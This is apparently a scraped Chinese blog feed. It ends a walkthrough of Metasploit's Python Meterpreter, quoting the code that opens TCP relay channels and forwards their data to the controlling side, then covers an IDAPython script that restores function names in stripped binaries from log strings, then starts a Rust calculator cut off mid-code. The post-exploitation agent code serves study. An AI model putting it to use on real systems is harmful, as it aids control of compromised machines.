可以看出先通过 channel_open_stdapi_net_tcp_client</code> 函数创建链接。主要流程就是从请求中获取 socket 连接信息 peer_address_info</code>，还有可选的 local_address_info</code>，然后尝试去连接，如果连接成功的话，就创建新的 MeterpreterSocketTCPClient</code> 类型的 channel，在创建成功后返回给控制端相应的信息。</p>
@</span>register_function</span></span>
def</span> channel_open_stdapi_net_tcp_client</span>(</span>request</span>,</span> response</span>)</span>:</span></span>
    peer_address_info</span>,</span> local_address_info</span> =</span> getaddrinfo_from_request</span>(</span>request</span>,</span> socktype</span>=</span>socket</span>.</span>SOCK_STREAM</span>,</span> proto</span>=</span>socket</span>.</span>IPPROTO_TCP</span>)</span></span>
    retries</span> =</span> packet_get_tlv</span>(</span>request</span>,</span> TLV_TYPE_CONNECT_RETRIES</span>)</span>.</span>get</span>(</span>'</span>value</span>'</span>,</span> 1</span>)</span></span>
    if</span> not</span> peer_address_info</span>:</span></span>
        return</span> ERROR_CONNECTION_ERROR</span>,</span> response</span></span>
    connected</span> =</span> False</span></span>
    for</span> _</span> in</span> range</span>(</span>retries</span> +</span> 1</span>)</span>:</span></span>
        sock</span> =</span> socket</span>.</span>socket</span>(</span>peer_address_info</span>[</span>'</span>family</span>'</span>]</span>,</span> peer_address_info</span>[</span>'</span>socktype</span>'</span>]</span>,</span> peer_address_info</span>[</span>'</span>proto</span>'</span>]</span>)</span></span>
        sock</span>.</span>settimeout</span>(</span>3.0</span>)</span></span>
        #</span> ...</span></span>
        try</span>:</span></span>
            sock</span>.</span>connect</span>(</span>peer_address_info</span>[</span>'</span>sockaddr</span>'</span>]</span>)</span></span>
            connected</span> =</span> True</span></span>
            break</span></span>
        except</span>:</span></span>
            pass</span></span>
    if</span> not</span> connected</span>:</span></span>
        return</span> ERROR_CONNECTION_ERROR</span>,</span> response</span></span>
    channel_id</span> =</span> meterpreter</span>.</span>add_channel</span>(</span>MeterpreterSocketTCPClient</span>(</span>sock</span>)</span>)</span></span>
    response</span> +=</span> tlv_pack</span>(</span>TLV_TYPE_CHANNEL_ID</span>,</span> channel_id</span>)</span></span>
    response</span> +=</span> tlv_pack_local_addrinfo</span>(</span>sock</span>)</span></span>
    return</span> ERROR_SUCCESS</span>,</span> response</span></span></code></pre>
在相应的 channel 创建成功后，下一条指令就是 "core_channel_write"，往之前创建的 socket 对应的 channel 里写入数据后，主循环会遍历 channel 列表，如果 channel 是 MeterpreterSocketTCPClient</code> 就尝试从中读取数据并返回。需要注意的是在收发数据的时候对 fd 使用了 select</code> 函数等待读事件，并设置了超时时间，防止单个 channel 长时间阻塞主进程。</p>
def</span> run</span>(</span>self</span>)</span>:</span></span>
    while</span> self</span>.</span>running</span> and</span> not</span> self</span>.</span>session_has_expired</span>:</span></span>
        request</span> =</span> self</span>.</span>get_packet</span>(</span>)</span></span>
        if</span> request</span>:</span></span>
            response</span> =</span> self</span>.</span>create_response</span>(</span>request</span>)</span></span>
            if</span> response</span>:</span></span>
                self</span>.</span>send_packet</span>(</span>response</span>)</span></span>
            #</span> ...</span></span>
        #</span> iterate over the keys because self.channels could be modified if one is closed</span></span>
        channel_ids</span> =</span> list</span>(</span>self</span>.</span>channels</span>.</span>keys</span>(</span>)</span>)</span></span>
        for</span> channel_id</span> in</span> channel_ids</span>:</span></span>
            channel</span> =</span> self</span>.</span>channels</span>[</span>channel_id</span>]</span></span>
            data</span> =</span> bytes</span>(</span>)</span></span>
            write_request_parts</span> =</span> [</span>]</span></span>
            if</span> isinstance</span>(</span>channel</span>,</span> MeterpreterSocketTCPClient</span>)</span>:</span></span>
                while</span> select</span>.</span>select</span>(</span>[</span>channel</span>.</span>fileno</span>(</span>)</span>]</span>,</span> [</span>]</span>,</span> [</span>]</span>,</span> 0</span>)</span>[</span>0</span>]</span>:</span></span>
                    try</span>:</span></span>
                        d</span> =</span> channel</span>.</span>read</span>(</span>1</span>)</span></span>
                    except</span> socket</span>.</span>error</span>:</span></span>
                        d</span> =</span> bytes</span>(</span>)</span></span>
                    if</span> len</span>(</span>d</span>)</span> ==</span> 0</span>:</span></span>
                        self</span>.</span>handle_dead_resource_channel</span>(</span>channel_id</span>)</span></span>
                        break</span></span>
                    data</span> +=</span> d</span></span>
            #</span> ...</span></span>
            if</span> data</span>:</span></span>
                write_request_parts</span>.</span>extend</span>(</span>[</span></span>
                    {</span>'</span>type</span>'</span>:</span> TLV_TYPE_CHANNEL_ID</span>,</span> '</span>value</span>'</span>:</span> channel_id</span>}</span>,</span></span>
                    {</span>'</span>type</span>'</span>:</span> TLV_TYPE_CHANNEL_DATA</span>,</span> '</span>value</span>'</span>:</span> data</span>}</span>,</span></span>
                    {</span>'</span>type</span>'</span>:</span> TLV_TYPE_LENGTH</span>,</span> '</span>value</span>'</span>:</span> len</span>(</span>data</span>)</span>}</span>,</span></span>
                ]</span>)</span></span>
                self</span>.</span>send_packet</span>(</span>tlv_pack_request</span>(</span>'</span>core_channel_write</span>'</span>,</span> write_request_parts</span>)</span>)</span></span></code></pre>总结</h2>
这里只是简单的过了一遍 meterpreter Python 实现的主体代码。加密密钥的传输，stdapi 的添加等细节则是没有提到，等后面有空了可能就会写了(</p>
Refs</h2>

Using Metasploit Advanced Meterpreter Overview</a></li>
original specification</a></li>
</ul>


通过无符号程序的日志函数来恢复函数名字
2022-07-24T00:00:00+00:00
2023-03-12 更新：添加了使用 ida_hexrays.decompile</code> 的方法</p>
在逆向二进制程序中，经常碰到将程序 strip 了，但是日志函数中保留着函数名字的情况。所以写文记录在这种情况下，使用 IDAPython 恢复函数名字的过程。</p>
日志函数长什么样</h2>
下面是我手写的一个日志函数。主要有几个部分：</p>

日志级别 LogLevel</code>，记录日志的最低级别 do_log_level</code>，用来在不同的情况下过滤日志。</li>
日志文件 log_file</code>，将日志输出到对应的文件中。</li>
记录日志的函数 logger_log</code>，还有几个辅助记录日志的宏。在宏中则是将函数的名称也记录了下来，方便后期调试。</li>
</ul>
代码也非常简单粗暴，唯一需要注意的是 logger_log</code> 用了 C 中的变长函数参数，并且在相关的宏中用了 gcc 扩展 “GCC variadic macro” 来处理宏中的变长参数。</p>
#</span>include</span> <</span>stdarg.h</span>></span></span>
#</span>include</span> <</span>stdio.h</span>></span></span>
</span>
enum</span> LogLevel </span>{</span> DEBUG </span>=</span> 0</span>,</span> INFO</span>,</span> WARNING</span>,</span> ERROR </span>}</span>;</span></span>
</span>
static</span> FILE </span>*</span>log_file </span>=</span> NULL</span>;</span></span>
static</span> int</span> do_log_level </span>=</span> 0</span>;</span></span>
</span>
///</span> @brief</span> init log file and log level</span></span>
void</span> logger_init</span>(</span>const</span> char</span> *</span>file_path</span>,</span> int</span> log_level</span>)</span> {</span></span>
  if</span> (</span>file_path</span>)</span> {</span></span>
    log_file </span>=</span> fopen</span>(</span>file_path</span>,</span> "</span>a+</span>"</span>)</span>;</span></span>
  }</span> else</span> {</span></span>
    log_file </span>=</span> stderr</span>;</span></span>
  }</span></span>
  do_log_level </span>=</span> log_level</span>;</span></span>
}</span></span>
</span>
///</span> @brief</span> do log</span></span>
void</span> logger_log</span>(</span>int</span> level</span>,</span> const</span> char</span> *</span>fmt</span>,</span> ...</span>)</span> {</span></span>
  if</span> (</span>log_file </span>==</span> NULL</span>)</span> {</span></span>
    return</span>;</span></span>
  }</span></span>
  if</span> (</span>level </span><</span> do_log_level</span>)</span> {</span></span>
    return</span>;</span></span>
  }</span></span>
  va_list vl</span>;</span></span>
  va_start</span>(</span>vl</span>,</span> fmt</span>)</span>;</span></span>
  vfprintf</span>(</span>log_file</span>,</span> fmt</span>,</span> vl</span>)</span>;</span></span>
  fputc</span>(</span>'</span>\n</span>'</span>,</span> log_file</span>)</span>;</span></span>
  va_end</span>(</span>vl</span>)</span>;</span></span>
}</span></span>
</span>
#</span>define</span> LOG_DEBUG</span>(</span>fmt</span>,</span> ...</span>)</span>                                                    \</span></span>
  logger_log</span>(</span>DEBUG</span>,</span> "</span>[DEBUG]   [</span>%s</span>] </span>"</span> fmt</span>,</span> __FUNCTION__</span>,</span> ##</span>__VA_ARGS__</span>)</span>;</span></span>
#</span>define</span> LOG_INFO</span>(</span>fmt</span>,</span> ...</span>)</span>                                                     \</span></span>
  logger_log</span>(</span>INFO</span>,</span> "</span>[INFO]    [</span>%s</span>] </span>"</span> fmt</span>,</span> __FUNCTION__</span>,</span> ##</span>__VA_ARGS__</span>)</span>;</span></span>
#</span>define</span> LOG_WARNING</span>(</span>fmt</span>,</span> ...</span>)</span>                                                  \</span></span>
  logger_log</span>(</span>WARNING</span>,</span> "</span>[WARNING] [</span>%s</span>] </span>"</span> fmt</span>,</span> __FUNCTION__</span>,</span> ##</span>__VA_ARGS__</span>)</span>;</span></span>
#</span>define</span> LOG_ERROR</span>(</span>fmt</span>,</span> ...</span>)</span>                                                    \</span></span>
  logger_log</span>(</span>ERROR</span>,</span> "</span>[ERROR]   [</span>%s</span>] </span>"</span> fmt</span>,</span> __FUNCTION__</span>,</span> ##</span>__VA_ARGS__</span>)</span>;</span></span></code></pre>
接下来是一点测试代码</p>
int</span> a_important_function</span>(</span>)</span> {</span></span>
  LOG_WARNING</span>(</span>"</span>Warning world, return value: </span>%d</span>"</span>,</span> 114514</span>)</span>;</span></span>
  return</span> 1919810</span>;</span></span>
}</span></span>
</span>
int</span> main</span>(</span>int</span> argc</span>,</span> char</span> *</span>argv</span>[]</span>)</span> {</span></span>
  logger_init</span>(</span>NULL</span>,</span> INFO</span>)</span>;</span></span>
  LOG_DEBUG</span>(</span>"</span>Debug, world!</span>"</span>)</span>;</span></span>
  LOG_INFO</span>(</span>"</span>Info, world!</span>"</span>)</span>;</span></span>
  //</span> logger_log(INFO, "[INFO]   [%s] Info, world!", __FUNCTION__);</span></span>
  int</span> ret </span>=</span> 0</span>;</span></span>
  if</span> (</span>(</span>ret </span>=</span> a_important_function</span>(</span>)</span>)</span> !=</span> 0</span>)</span> {</span></span>
    LOG_ERROR</span>(</span>"</span>Error world, exit code: </span>%d</span>"</span>,</span> ret</span>)</span>;</span></span>
  }</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>
下面是程序运行后的输出，可以看到 DEBUG 级别低于要记录的 INFO 级别，所以 DEBUG 级别的日志没有输出。</p>
$</span> gcc</span> test.c</span> -</span>o</span> test</span> -</span>O0</span> -</span>Wall</span></span>
$</span> ./test</span>                   </span></span>
[</span>INFO</span>]</span>    [</span>main</span>]</span> Info, world</span>!</span></span>
[</span>WARNING</span>]</span> [</span>a_important_function</span>]</span> Warning</span> world,</span> return</span> value:</span> 114514</span></span>
[</span>ERROR</span>]</span>   [</span>main</span>]</span> Error world, exit code: 1919810</span></span></code></pre>在 IDA 中，上面的代码长什么样</h2>
在反汇编结果中，可以看到虽然 DEBUG 级别的日志没有输出，但是相关的函数调用仍然在代码中保留着。并且每个日志函数的调用，在参数中都有函数名字。在这种情况下，就可以使用 IDAPython 进行自动化提取函数名字并且恢复回去了。</p>
int</span> sub_401156</span>(</span>int</span> a1</span>,</span> const</span> char</span> *</span>a2</span>,</span> ...</span>)</span></span>
{</span></span>
  int</span> result</span>;</span> //</span> eax</span></span>
  gcc_va_list arg</span>;</span> //</span> [rsp+8h] [rbp-D0h]</span></span>
</span>
  result </span>=</span> (</span>signed</span> int</span>)</span>stream</span>;</span></span>
  if</span> (</span> stream </span>)</span></span>
  {</span></span>
    if</span> (</span> dword_404070 </span><=</span> a1 </span>)</span></span>
    {</span></span>
      va_start</span>(</span>arg</span>,</span> a2</span>)</span>;</span></span>
      vfprintf</span>(</span>stream</span>,</span> a2</span>,</span> arg</span>)</span>;</span></span>
      result </span>=</span> fputc</span>(</span>10</span>,</span> stream</span>)</span>;</span></span>
    }</span></span>
  }</span></span>
  return</span> result</span>;</span></span>
}</span></span>
</span>
__int64 __fastcall </span>main</span>(</span>__int64 </span>a1</span>,</span> char</span> *</span>*</span>a2</span>,</span> char</span> *</span>*</span>a3</span>)</span></span>
{</span></span>
  char</span> *</span>a4</span>;</span> //</span> [rsp+1Ch] [rbp-4h]</span></span>
</span>
  sub_401156</span>(</span>0</span>LL</span>,</span> 1</span>LL</span>,</span> a3</span>)</span>;</span></span>
  sub_4011A0</span>(</span>0</span>,</span> "</span>[DEBUG]   [</span>%s</span>] Debug, world!</span>"</span>,</span> "</span>main</span>"</span>,</span> a2</span>)</span>;</span></span>
  sub_4011A0</span>(</span>1</span>,</span> "</span>[INFO]    [</span>%s</span>] Info, world!</span>"</span>,</span> "</span>main</span>"</span>)</span>;</span></span>
  LODWORD</span>(</span>a4</span>)</span> =</span> sub_40127B</span>(</span>1</span>LL</span>,</span> "</span>[INFO]    [</span>%s</span>] Info, world!</span>"</span>)</span>;</span></span>
  if</span> (</span> (</span>_DWORD</span>)</span>a4 </span>)</span></span>
    sub_4011A0</span>(</span>3</span>,</span> "</span>[ERROR]   [</span>%s</span>] Error world, exit code: </span>%d</span>"</span>,</span> "</span>main</span>"</span>,</span> (</span>unsigned</span> int</span>)</span>a4</span>)</span>;</span></span>
  return</span> 0</span>LL</span>;</span></span>
}</span></span></code></pre>IDAPython 登场</h2>
下面是脚本。思路则是使用 idautils.CodeRefsTo</code> 获取日志函数的调用，并且从调用处使用 idaapi.get_arg_addrs</code> 获得带函数名字参数的地址，然后从这个地址读取出函数名字，调用 idc.set_name</code> 重命名当前函数。</p>
import</span> idaapi</span></span>
import</span> idautils</span></span>
import</span> idc</span></span>
import</span> ida_ida</span></span>
</span>
func_addr</span> =</span> 0x</span>4011a0</span>  #</span> log function address, Use 'y' to declare argument's type first</span></span>
#</span> https://reverseengineering.stackexchange.com/questions/25301/getting-function-arguments-in-ida</span></span>
name_idx</span> =</span> 2</span>  #</span> function name in log call position</span></span>
#</span> https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml</span></span>
if</span> idaapi</span>.</span>IDA_SDK_VERSION</span> <=</span> 700</span>:</span></span>
    min_ea</span> =</span> idc</span>.</span>MinEA</span>(</span>)</span></span>
    max_ea</span> =</span> idc</span>.</span>MaxEA</span>(</span>)</span></span>
else</span>:</span></span>
    min_ea</span> =</span> ida_ida</span>.</span>inf_get_min_ea</span>(</span>)</span></span>
    max_ea</span> =</span> ida_ida</span>.</span>inf_get_max_ea</span>(</span>)</span></span>
</span>
</span>
def</span> is_addr_invalid</span>(</span>addr</span>)</span>:</span></span>
    """</span>Check `addr` is valid address</span>"""</span></span>
    return</span> (</span></span>
        addr</span> ==</span> 0</span></span>
        or</span> addr</span> ==</span> 0x</span>FFFFFFFF</span></span>
        or</span> addr</span> ==</span> 0x</span>FFFFFFFFFFFFFFFF</span></span>
        or</span> addr</span> <</span> min_ea</span></span>
        or</span> addr</span> ></span> max_ea</span></span>
    )</span></span>
</span>
</span>
def</span> read_c_str</span>(</span>addr</span>,</span> limit</span>=</span>32</span>)</span>:</span></span>
    """</span>Read C string from `addr`</span>"""</span></span>
    if</span> addr</span> ==</span> 0</span> or</span> addr</span> ==</span> 0x</span>FFFFFFFF</span> or</span> addr</span> ==</span> 0x</span>FFFFFFFFFFFFFFFF</span>:</span></span>
        return</span> b</span>"</span>"</span></span>
    curr_addr</span> =</span> addr</span></span>
    ret</span> =</span> b</span>"</span>"</span></span>
    while</span> True</span>:</span></span>
        data</span> =</span> idc</span>.</span>get_bytes</span>(</span>curr_addr</span>,</span> 1</span>)</span></span>
        if</span> data</span> ==</span> b</span>"</span>\x00</span>"</span> or</span> data</span> ==</span> 0</span>:</span></span>
            break</span></span>
        if</span> curr_addr</span> ></span> addr</span> +</span> limit</span>:</span></span>
            break</span></span>
        ret</span> +=</span> data</span></span>
        curr_addr</span> +=</span> 1</span></span>
    return</span> ret</span></span>
</span>
</span>
def</span> search_nearest_function</span>(</span>addr</span>)</span>:</span></span>
    """</span>Search function that `addr` belongs to</span>"""</span></span>
    prev_func</span> =</span> 0x</span>0</span></span>
    for</span> func</span> in</span> idautils</span>.</span>Functions</span>(</span>)</span>:</span></span>
        if</span> func</span> ></span> addr</span>:</span></span>
            break</span></span>
        prev_func</span> =</span> func</span></span>
    return</span> prev_func</span></span>
</span>
</span>
refs</span> =</span> list</span>(</span>idautils</span>.</span>CodeRefsTo</span>(</span>func_addr</span>,</span> 0</span>)</span>)</span></span>
print</span>(</span>"</span>[+] ref len </span>%d</span>"</span> %</span> len</span>(</span>refs</span>)</span>)</span></span>
for</span> xref_addr</span> in</span> refs</span>:</span></span>
    #</span> Get function argument</span></span>
    args</span> =</span> idaapi</span>.</span>get_arg_addrs</span>(</span>xref_addr</span>)</span></span>
    if</span> not</span> args</span> or</span> len</span>(</span>args</span>)</span> <=</span> name_idx</span>:</span></span>
        print</span>(</span>"</span>[-] No args</span>"</span>)</span></span>
        continue</span></span>
    #</span> Get argument address</span></span>
    arg_addr</span> =</span> args</span>[</span>name_idx</span>]</span></span>
    if</span> is_addr_invalid</span>(</span>arg_addr</span>)</span>:</span></span>
        print</span>(</span>"</span>[-] Argument address is invalid</span>"</span>)</span></span>
        continue</span></span>
    #</span> Get argument's immendiate value</span></span>
    insn</span> =</span> idaapi</span>.</span>insn_t</span>(</span>)</span></span>
    length</span> =</span> idaapi</span>.</span>decode_insn</span>(</span>insn</span>,</span> arg_addr</span>)</span></span>
    func_name_addr</span> =</span> insn</span>.</span>ops</span>[</span>1</span>]</span>.</span>value</span></span>
    if</span> is_addr_invalid</span>(</span>func_name_addr</span>)</span>:</span></span>
        print</span>(</span>"</span>[-] Function name address is invalid</span>"</span>)</span></span>
        continue</span></span>
    #</span> Get function name</span></span>
    func_name</span> =</span> read_c_str</span>(</span>func_name_addr</span>)</span></span>
    func</span> =</span> search_nearest_function</span>(</span>xref_addr</span>)</span></span>
    print</span>(</span>"</span>[+] </span>%x</span> %s</span>"</span> %</span> (</span>func</span>,</span> func_name</span>)</span>)</span></span>
    idc</span>.</span>set_name</span>(</span>func</span>,</span> func_name</span>,</span> 0</span>)</span></span>
</span></code></pre>
有些地方需要注意：判断函数地址是否在程序运行虚拟地址，读取 C 式字符串，获得当前指令所属的函数地址是自己写的函数，可能有更好的内置函数来辅助判断。还有 get_arg_addrs</code> 函数，获得的是给参数赋值的指令地址，例如对下面的代码，使用 ["%x" % i for i in idaapi.get_arg_addrs(0x4012d6)]</code>，得到的返回值是 ['4012cc', '4012c7', '4012c2']</code>，而不是字符串地址，所以得对指令使用 idaapi.decode_insn</code> 进行解码，获得立即数的地址，即字符串的地址。还有就是日志函数有可能类型定义有问题，会导致 get_arg_addrs</code> 返回 None，这种情况下，对着日志函数按 "y" 对参数类型和数量进行编辑，编辑后再次运行脚本即可获取参数。</p>
.text</span>:00000000004012C2                 </span>mov</span>     edx</span>, offset aMain </span>; "main"</span></span>
.text</span>:00000000004012C7                 </span>mov</span>     esi</span>, offset aDebugSDebugWor </span>; "[DEBUG]   [%s] Debug, world!"</span></span>
.text</span>:00000000004012CC                 </span>mov</span>     edi</span>, </span>0</span>          ; a1</span></span>
.text</span>:00000000004012D1                 </span>mov</span>     eax</span>, </span>0</span></span>
.text</span>:00000000004012D6                 </span>call</span>    sub_4011A0</span></span></code></pre>
代码运行结果如下，可以看到，补全了没有符号的 a_important_function</code> 函数名字，达到了基本效果。</p>
[+] ref len 4</span></span>
[+] 40127b a_important_function</span></span>
[+] 4012a4 main</span></span>
[+] 4012a4 main</span></span>
[+] 4012a4 main</span></span></code></pre>更精准的方法</h2>
上面的代码和恢复方式可能会出现找不准函数的参数的情况，或者会出现传参约定和上述代码不一样的情况，这就会导致恢复的函数名字错误。经过搜索我发现 IDA 允许通过 API 来调用反编译器来进行反编译，并且可以遍历反编译出来的 C 语言代码，这样就可以借助反编译器的结果来恢复函数名字了。</p>
下面是相应的 IDAPython 代码，通过 idaapi.decompile</code> 对 xref 的函数进行反编译，然后再通过编写的 LogVisitor</code> 对反编译出来的 C 语言代码进行遍历，在 LogVisitor</code> 类的 visit_expr</code> 函数中定义遍历 C 语言表达式的相应逻辑。这里我们主要是寻找调用日志函数的表达式，并从中提取参数，获得参数的值，来命名当前函数。</p>
import</span> idaapi</span></span>
import</span> ida_hexrays</span></span>
import</span> ida_bytes</span></span>
import</span> idautils</span></span>
import</span> idc</span></span>
</span>
</span>
class</span> LogVisitor</span>(</span>ida_hexrays</span>.</span>ctree_visitor_t</span>)</span>:</span></span>
    """</span>Recover log by visiting ctree</span>"""</span></span>
</span>
    def</span> __init__</span>(</span></span>
        self</span>,</span> cfunc</span>:</span> ida_hexrays</span>.</span>cfunc_t</span>,</span> log_func</span>:</span> str</span>,</span> name_idx</span>:</span> int</span></span>
    )</span> -></span> None</span>:</span></span>
        super</span>(</span>)</span>.</span>__init__</span>(</span>ida_hexrays</span>.</span>CV_FAST</span>)</span></span>
        self</span>.</span>log_func</span> =</span> log_func</span></span>
        self</span>.</span>name_idx</span> =</span> name_idx</span></span>
        self</span>.</span>cfunc</span> =</span> cfunc</span></span>
</span>
    def</span> visit_expr</span>(</span>self</span>,</span> expr</span>:</span> ida_hexrays</span>.</span>cexpr_t</span>)</span> -></span> int</span>:</span></span>
        ea</span> =</span> self</span>.</span>cfunc</span>.</span>entry_ea</span></span>
        #</span> named, skip</span></span>
        if</span> ea</span> in</span> named</span>:</span></span>
            return</span> 0</span></span>
        #</span> only need call expression</span></span>
        if</span> expr</span>.</span>op</span> !=</span> ida_hexrays</span>.</span>cot_call</span>:</span></span>
            return</span> 0</span></span>
        #</span> call expression is iog_func</span></span>
        if</span> idaapi</span>.</span>get_func_name</span>(</span>expr</span>.</span>x</span>.</span>obj_ea</span>)</span> !=</span> self</span>.</span>log_func</span>:</span></span>
            return</span> 0</span></span>
        #</span> length of call argument < idx</span></span>
        if</span> len</span>(</span>expr</span>.</span>a</span>)</span> <</span> self</span>.</span>name_idx</span>:</span></span>
            return</span> 0</span></span>
        #</span> get argument</span></span>
        carg</span> =</span> expr</span>.</span>a</span>[</span>self</span>.</span>name_idx</span>]</span></span>
        if</span> carg</span>.</span>op</span> !=</span> ida_hexrays</span>.</span>cot_obj</span>:</span></span>
            return</span> 0</span></span>
        arg_str</span> =</span> ida_bytes</span>.</span>get_strlit_contents</span>(</span>carg</span>.</span>obj_ea</span>,</span> -</span>1</span>,</span> 0</span>)</span></span>
        if</span> not</span> arg_str</span>:</span></span>
            return</span> 0</span></span>
        print</span>(</span>hex</span>(</span>ea</span>)</span>,</span> arg_str</span>)</span></span>
        #</span> set name</span></span>
        idc</span>.</span>set_name</span>(</span>ea</span>,</span> arg_str</span>.</span>decode</span>(</span>)</span>)</span></span>
        named</span>.</span>add</span>(</span>ea</span>)</span></span>
        return</span> 0</span></span>
</span>
</span>
func_addr</span> =</span> 0x</span>00015CDC</span>  #</span> XXX</span>: EDIT THIS VALUE</span></span>
name_idx</span> =</span> 4</span>  #</span> XXX</span>: EDIT THIS VALUE</span></span>
func_name</span> =</span> idaapi</span>.</span>get_func_name</span>(</span>func_addr</span>)</span></span>
named</span> =</span> set</span>(</span>)</span></span>
for</span> xref_addr</span> in</span> idautils</span>.</span>CodeRefsTo</span>(</span>func_addr</span>,</span> 0</span>)</span>:</span></span>
    try</span>:</span></span>
        cfunc</span> =</span> idaapi</span>.</span>decompile</span>(</span>xref_addr</span>)</span></span>
    except</span> Exception</span> as</span> e</span>:</span></span>
        print</span>(</span>e</span>)</span></span>
        continue</span></span>
    if</span> not</span> cfunc</span> or</span> not</span> cfunc</span>.</span>body</span>:</span></span>
        continue</span></span>
    v</span> =</span> LogVisitor</span>(</span>cfunc</span>,</span> func_name</span>,</span> name_idx</span>)</span></span>
    v</span>.</span>apply_to</span>(</span>cfunc</span>.</span>body</span>,</span> None</span>)</span></span>
</span></code></pre>Refs</h2>

The Beginner’s Guide to IDAPython Version 6.0</li>
Getting function arguments in ida</a></li>
Porting from IDAPython 6.x-7.3, to 7.4</a></li>
https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp_source.shtml</a></li>
Hex-Rays Decompiler primer</a></li>
【IDAPython CTree】反编译代码操作练习</a></li>
</ul>


使用编译原理的知识，用 Rust 写一个计算器
2022-06-02T00:00:00+00:00
”想写个计算器“这件事情应该是我刚学会 C 语言时候的事情，当时还看不懂栈，逆波兰式等结构。但是现在不一样了，我不仅学过数据结构，还学过了编译原理。这次我就拿学过的编译原理相关知识写个计算器。</p>
前置知识</h2>
上下文无关语法(CFG)：描述了语句是如何形成的。</p>
语句：从语法规则里推导出的一个符号串。</p>
产生式：CFG 中每个规则都称为一个产生式。</p>
非终结符：语法产生式中的变量</p>
终结符：出现在语句中的单词，单词包含一个词素及语法范畴。在语法中，单词通过其语法范畴表示。</p>
整体架构</h2>
整体流程就是 “词法分析 -> 语法分析 -> 解析语法树” 进行计算。</p>
几个文件分布如下：</p>
.</span></span>
├── Cargo.lock</span></span>
├── Cargo.toml</span></span>
└── src</span></span>
    ├── lexer.rs  # 手写词法分析</span></span>
    ├── main.rs   # 程序入口，实现表达式计算</span></span>
    └── parser.rs # 递归下降语法分析</span></span></code></pre>词法分析</h2>
先定义好 Token。Rust 的枚举类型异常强大，写起来没什么问题。主要是括号，算数运算符，还有数字。</p>
#</span>[</span>derive</span>(</span>Debug</span>,</span> PartialEq</span>)</span>]</span></span>
pub</span> enum</span> OperatorType</span> {</span></span>
    Plus</span>,</span></span>
    Sub</span>,</span></span>
    Div</span>,</span></span>
    Mul</span>,</span></span>
}</span></span>
</span>
#</span>[</span>derive</span>(</span>Debug</span>,</span> PartialEq</span>)</span>]</span></span>
pub</span> enum</span> BracketType</span> {</span></span>
    Left</span>,</span></span>
    Right</span>,</span></span>
}</span></span>
</span>
#</span>[</span>derive</span>(</span>Debug</span>,</span> PartialEq</span>)</span>]</span></span>
pub</span> enum</span> Token</span> {</span></span>
    Number</span>(</span>i32</span>)</span>,</span></span>
    Operator</span>(</span>OperatorType</span>)</span>,</span></span>
    Bracket</span>(</span>BracketType</span>)</span>,</span></span>
}</span></span></code></pre>
然后是定义一个 Scanner</code>。主要作用就是扫描用户输入，通过函数调用不断的返回用户输入字符串的一部分，还有就是向下一个字符前进。</p>
struct</span> Scanner</span> {</span></span>
    raw</span>:</span> String</span>,</span></span>
    pos</span>:</span> usize</span>,</span></span>
}</span></span>
</span>
impl</span> Scanner</span> {</span></span>
    fn</span> new</span>(</span>s</span>:</span> &</span>str</span>)</span> -></span> Scanner</span> {</span></span>
        Scanner</span> {</span></span>
            raw</span>:</span> String</span>::</span>from</span>(</span>s</span>)</span>,</span></span>
            pos</span>:</span> 0</span>,</span></span>
        }</span></span>
    }</span></span>
</span>
    fn</span> peek</span>(</span>&</span>mut</span> self</span>)</span> -></span> Option</span><</span>char</span>></span> {</span></span>
        self</span>.</span>raw</span>.</span>chars</span>(</span>)</span>.</span>nth</span>(</span>self</span>.</span>pos</span>)</span></span>
    }</span></span>
</span>
    fn</span> next</span>(</span>&</span>mut</span> self</span>)</span> -></span> Option</span><</span>char</span>></span> {</span></span>
        self</span>.</span>pos </span>+=</span> 1</span>;</span></span>
        self</span>.</span>raw</span>.</span>chars</span>(</span>)</span>.</span>nth</span>(</span>self</span>.</span>pos </span>-</span> 1</span>)</span></span>
    }</span></span>
}</span></span></code></pre>
接下来就是词法分析本体。主要工作就是从 Scanner</code> 读取和解析用户输入，并且在调用相应的函数时，返回相应的 Token。相当于一个手写的状态机。</p>
///</span> A hand-written lexer</span></span>
#</span>[</span>derive</span>(</span>Debug</span>)</span>]</span></span>
pub</span> struct</span> Lexer</span> {</span></span>
    tokens</span>:</span> Vec</span><</span>Token</span>></span>,</span></span>
    pos</span>:</span> usize</span>,</span></span>
}</span></span>
</span>
impl</span> Lexer</span> {</span></span>
    pub</span> fn</span> new</span>(</span>s</span>:</span> &</span>str</span>)</span> -></span> Result</span><</span>Lexer</span>,</span> LexerError</span>></span> {</span></span>
        let</span> mut</span> scanner</span> =</span> Scanner</span>::</span>new</span>(</span>s</span>)</span>;</span></span>
        let</span> mut</span> tokens</span> =</span> vec!</span>[</span>]</span>;</span></span>
        while</span> let</span> Some</span>(</span>ch</span>)</span> =</span> scanner</span>.</span>peek</span>(</span>)</span> {</span></span>
            match</span> ch</span> {</span></span>
                //</span> 省略一大堆代码</span></span>
                _</span> =></span> {</span>}</span></span>
            }</span></span>
        }</span></span>
        Ok</span>(</span>Lexer</span> {</span> tokens</span>,</span> pos</span>:</span> 0</span> }</span>)</span></span>
    }</span></span>
</span>
    pub</span> fn</span> next</span>(</span>&</span>mut</span> self</span>)</span> -></span> Option</span><</span>&</span>Token</span>></span> {</span></span>
        self</span>.</span>pos </span>+=</span> 1</span>;</span></span>
        self</span>.</span>tokens</span>.</span>get</span>(</span>self</span>.</span>pos </span>-</span> 1</span>)</span></span>
    }</span></span>
</span>
    pub</span> fn</span> peek</span>(</span>&</span>mut</span> self</span>)</span> -></span> Option</span><</span>&</span>Token</span>></span> {</span></span>
        self</span>.</span>tokens</span>.</span>get</span>(</span>self</span>.</span>pos</span>)</span></span>
    }</span></span>
}</span></span></code></pre>
下面是之前代码中省略的部分，即读取和解析用户输入字符，通过当前字符来来生成不同的 Token。例如解析数字 Token 这部分则是不断的读取是数字的字符到 buf</code> 里，等到不是数字的字符时停止读取，并从 buf</code> 里解析数字。还有就是在碰到空格时则跳过当前字符。</p>
match</span> ch</span> {</span></span>
    //</span> Operator</span></span>
    '</span>+</span>'</span> |</span> '</span>-</span>'</span> |</span> '</span>*</span>'</span> |</span> '</span>/</span>'</span> =></span> {</span></span>
        let</span> op</span> =</span> match</span> ch</span> {</span></span>
            '</span>+</span>'</span> =></span> OperatorType</span>::</span>Plus</span>,</span></span>
            '</span>-</span>'</span> =></span> OperatorType</span>::</span>Sub</span>,</span></span>
            '</span>*</span>'</span> =></span> OperatorType</span>::</span>Mul</span>,</span></span>
